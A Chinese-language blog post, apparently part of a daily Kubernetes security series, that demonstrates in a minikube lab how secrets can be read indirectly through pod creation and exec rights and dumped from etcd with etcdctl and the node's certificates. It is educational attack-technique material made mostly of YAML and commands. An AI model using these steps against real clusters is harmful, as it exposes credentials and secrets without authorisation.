PS. 因為當初標錯日期了,所以今天就將錯就錯維持在 Day 19
今天主要要探討跟 K8s 儲存機敏資料的機制有關。一個是 secrets 的資源以及使用上要注意的地方,另一個則是會儲存在 etcd 裡面,所以演示要如何從中拉取出 secrets 的相關資訊,一樣在攻擊前先看手法跟位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,屬於2號的攻擊手法。
另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :
secrets 相關用法可以參考 K8s secrets 用法、Secrets、【從題目中學習k8s】-【Day13】第五題 - Secret,這邊先來稍微練手一下。
透過 yaml 新增 Opaque 類型的 secret,並且透過掛載方式將 secret 的資料掛入Pod裡面。
apiVersion: v1
kind: Secret
metadata:
name: test-secret
data:
my-secret-1: bXktc2VjcmV0Cg==
my-secret-2: YWVpZmt6Cg==
---
apiVersion: v1
kind: Pod
metadata:
name: target-pod
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
volumeMounts:
- name: foo
mountPath: "/etc/foo"
readOnly: true
volumes:
- name: foo
secret:
secretName: test-secret
kubectl create -f secrets.yaml ;
kubectl exec -it target-pod -- bash ;
cat /etc/foo/my-secret-1 ;
cat /etc/foo/my-secret-2 ;
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
# "namespace" omitted since ClusterRoles are not namespaced
namespace: default
name: role-simple
rules:
- apiGroups: [""]
# at the HTTP level, the name of the resource for accessing Secret
# objects is "secrets"
resources: ["pods","pods/exec"]
verbs: [ "get", "watch", "list", "create", "delete" ]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: cluster-role-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: role-simple
subjects:
- kind: ServiceAccount
name: default
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: no-secret
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
kubectl create -f no-secrets.yaml ;
kubectl exec -it no-secret -- bash ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && chmod +x kubectl ;
#沒有列舉跟讀取 secrets 的權限
kubectl get secrets ;
# 此時依照剛剛的方式製作 Pod,就可以看到 secrets 的內容
上面的例子就是官網提到要注意的事項 : Kubernetes Secrets are, by default, stored unencrypted in the API server's underlying data store (etcd). Anyone with API access can retrieve or modify a Secret, and so can anyone with access to etcd. Additionally, anyone who is authorized to create a Pod in a namespace can use that access to read any Secret in that namespace; this includes indirect access such as the ability to create a Deployment.
也就是說在擁有 create pod 的權限下,就有讀取任何 secrets 的權限。第一次注意到這段文字讓我蠻驚訝的。因為在 K8s RBAC 的設計中,secret 和 pod 的權限是切開來設定的,也就是說 create pod 的權限會間接遞移到 read secret 的權限,相當的有趣(?)。
既然上面提到了 Kubernetes Secrets are, by default, stored unencrypted in the API server's underlying data store (etcd). 那就順勢來討論一下 etcd 這個內部元件的利用。etcd 目前找不到一個方式可以對它開啟匿名存取,所以這邊就只練習常規操作,透過工具 etcdctl 在資料內找出 secret 的資訊出來。edctl 安裝流程可參考 How to Install etcd on Ubuntu。
minikube ssh ;
sudo apt update ;
sudo apt install vim wget curl -y ;
export RELEASE=$(curl -s https://api.github.com/repos/etcd-io/etcd/releases/latest|grep tag_name | cut -d '"' -f 4) ;
wget https://github.com/etcd-io/etcd/releases/download/${RELEASE}/etcd-${RELEASE}-linux-amd64.tar.gz ;
tar xvf etcd-${RELEASE}-linux-amd64.tar.gz ;
cd etcd-${RELEASE}-linux-amd64 ;
sudo mv etcd etcdctl etcdutl /usr/local/bin ;
# 顯示 etcdctl 支援功能
sudo ETCDCTL_API=3 etcdctl --endpoints="https://127.0.0.1:2379/" --cacert=/var/lib/minikube/certs/etcd/ca.crt --cert=/var/lib/minikube/certs/etcd/server.crt --key=/var/lib/minikube/certs/etcd/server.key ;
#列出所有的 key 值
sudo etcdctl --endpoints="https://127.0.0.1:2379/" --cacert=/var/lib/minikube/certs/etcd/ca.crt --cert=/var/lib/minikube/certs/etcd/server.crt --key=/var/lib/minikube/certs/etcd/server.key get / --prefix --keys-only ;
sudo etcdctl --endpoints="https://127.0.0.1:2379/" --cacert=/var/lib/minikube/certs/etcd/ca.crt --cert=/var/lib/minikube/certs/etcd/server.crt --key=/var/lib/minikube/certs/etcd/server.key get --keys-only --prefix=true "/" | grep secrets ;
# 抓取 key 值對應的數值
sudo etcdctl --endpoints="https://127.0.0.1:2379/" --cacert=/var/lib/minikube/certs/etcd/ca.crt --cert=/var/lib/minikube/certs/etcd/server.crt --key=/var/lib/minikube/certs/etcd/server.key get "/registry/secrets/default/test-secret" -w json ;
本日回顧 :
次日預告 :